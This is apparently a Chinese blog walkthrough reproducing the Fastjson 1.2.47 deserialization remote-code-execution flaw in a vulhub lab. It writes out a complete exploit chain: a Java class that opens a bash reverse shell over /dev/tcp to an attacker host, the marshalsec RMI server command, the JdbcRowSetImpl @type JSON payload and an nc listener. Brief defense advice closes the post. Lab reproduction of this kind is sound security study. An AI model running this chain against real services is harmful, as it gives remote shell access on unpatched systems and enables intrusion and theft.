前言:小编也是现学现卖,方便自己记忆,写的不好的地方多多包涵,希望各位大佬多多批评指正。
漏洞概述
首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
影响版本:Fastjson1.2.47以及之前的版本
漏洞复现
环境准备
1、一台windows10虚拟机
ip:192.168.0.110 作用:反弹shell的攻击机。
2、一台kali20(任意版本)的虚拟机
ip:192.168.0.111 作用:搭建Web和RMI服务的机器。
3、一台Ubuntu,装好vulhub靶场的虚拟机
ip:192.168.0.115 作用:搭建漏洞环境的靶机。
4、RMI服务工具包:https://github.com/mbechler/marshalsec
作用:可通过以编译好的marshalsec快速搭建RMI服务。
所有复现过程资料和工具中可见网盘:
试验资料包
提取码:1234
利用过程
1、漏洞环境搭建
cd /root/vulhub/fastjson/1.2.47-rce
docker-compose up -d //启动环境。
docker ps //开启8090端口。
浏览器访问出现数据,漏洞环境搭建成功。
2.marshlsec工具包编译
将下载好的marshlsec工具包解压放到kali中,进入目录输入如下命令:
sudo mvn clean package -DskipTests
//编译marshalsec生成两个jar包,过程需要等几分钟。
//此编译过程可能会失败,可以多尝试几次,实在不行可自取我分享的试验资源包。
//小编在这里遇到坑,kali中没有mvn这个命令,压根就没有安装这个maven这个包。
编译好后会出现target目录,进行目录发现两个jar包。
3.构造恶意的java代码
vim Attach.java //编写恶意的java代码
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Attach{
public Attach() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.110/6666;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
恶意java包编写好后,需要进行编译生成 class文件
javac Attach.java
//编译java包生成class文件。
//这里小编遇到了坑,在kali中无论如何编辑javac的环境变量都编译不了java文件,后面是在我windows本机下编译成功生成class文件的。
4.启动Web服务和RMI服务
小编这里使用python直接启动web服务,比较快也比较简洁
python -m SimpleHTTPServer 8080
//这里小编使用python2启动web服务,注意路径是在target下。
python -m http.server 8080
//python3启动web服务命令。
可以win10访问一下,验证是否开启
接下来启动RMI服务,输入命令如下:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.111:8080/#Attach" 8888
//主要这里的ip和端口是kali本机刚开放的ip和端口,后面的RMI端口随意。
5.利用burp发送构造的数据包,并同时拿到shell
在这之前先使用win10监听端口。
nc -lnvp 6666
//这里的端口是之前编写恶意java文件中反弹到win10的端口。
//没有netcat这款软件的见我分享的试验资料包。
参考:windows 下 netcat 的使用
抓取先前搭建的靶场环境的数据包即:http://192.168.0.115:8090/
随之构造payload数据包,并修改上传方式为POST方式上传。
这里附上payload数据包的代码。
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.111:8888/Attach",
"autoCommit":true // //这里的端口和ip为kali开启的RMI服务的端口和ip
}
}
最后点击发送,稍等一段时间,成功拿到漏洞主机的shell。
避免踩坑
坑1:kali中没有mvn这个命令
下载地址:Apache Maven
sudo ln -s /usr/local/apache-maven-3.6.3/bin/mvn /usr/bin
//这里创建一个符号链接,前者是我下载好后放在kali中的地址,后者是bin目录下。
mvn -version
//查看版本
坑2:kali中无法编译class文件
1.小编这里找寻许多方法始终没用在kali中,使用javac编译恶意的class文件,坐等大佬给小弟指点指点。
2.这里我使用win10物理机进行class的编译。
关于java如何配置环境变量并使用javac命令编译请参考文章:使用javac命令报错
使用 java -verson 查看自己的java版本
使用 java -verbose 查看自己java安装路径
这里注意在win10的PATH配置中路径一定要用绝对路径
如:C:\Program Files\Java\jdk1.8.0_131\bin;
不能用:%JAVA_HOME%\bin;
最后注意点:要满足以上实验的完成:RMI 利用方式对 JDK 版本是有要求的,JDK版本需低于以下版本。
防御方法
1.将Fastjson升级到最新版本 fastjson
2.WAF拦截过滤请求包中的 @type,%u0040%u0074%u0079%u0070%u0065, \u0040type,
\x04type等多种编码的 autotype 变形;
参考文章:
Timeline Sec 微信公众号漏洞复现文章合集
大佬博客:渗透测试-Fastjson 1.2.47 RCE漏洞复现